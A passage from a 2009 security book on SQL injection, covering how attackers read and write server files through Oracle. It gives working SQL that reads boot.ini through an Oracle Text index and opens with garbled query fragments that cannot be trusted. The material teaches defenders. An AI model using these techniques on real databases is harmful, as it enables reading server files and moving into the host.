SQL Injection Attacks and Defense - 2009

) c
/
)
)
),
bfilename('GETPWDIR', 'data-sources.xml'),
nls_charset_id('WE8ISO8859P1')
'/data-sources/connection-pool/connection-factory'
Exploiting the Operating System • Chapter 6 291
Instead of using the utl_ file_dir/Oracle directory concept, it is also possible to read and
write files using Java. You can find sample code for this approach on Marco Ivaldis’s Web site,
at www.0xdeadbeef.info/exploits/raptor_oraexec.sql.
A widely unknown technique for reading files and URIs is Oracle Text. This feature
does not require Java or utl_ file_dir/Oracle directories. Just insert the file or URL you want
to read into a table, and create a full text index or wait until the full text index is created.
The index contains the contents of the entire file.
The following sample code shows how to read the boot.ini file by inserting it into
a table:
CREATE TABLE files (
id NUMBER PRIMARY KEY,
path VARCHAR(255) UNIQUE,
ot_format VARCHAR(6)
);
INSERT INTO files VALUES (1, 'c:\boot.ini', NULL);
CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context
PARAMETERS ('datastore ctxsys.file_datastore format column ot_format');
-- retrieve data from the fulltext index
Select token_text from dr$file_index$i;
Writing Files
Writing files to the remote server is sometimes a bit of a throwback to the old days when
an attacker would drop a text file on the remote host to prove that he “captured his flag.”
Indeed, when so much value resides in the database itself, it sometimes seems strange to see
people obsess about breaking out of the database. Writing files does, however, have its uses,
and often it serves as the springboard toward compromising the host itself (which in turn
serves as the beachhead for attacking the internal network).
All of the common RDBMSs have built-in functionality for writing files to the server
file system. These can be abused within SQL injection attacks to a lesser or greater degree
depending on the family type of the underlying system.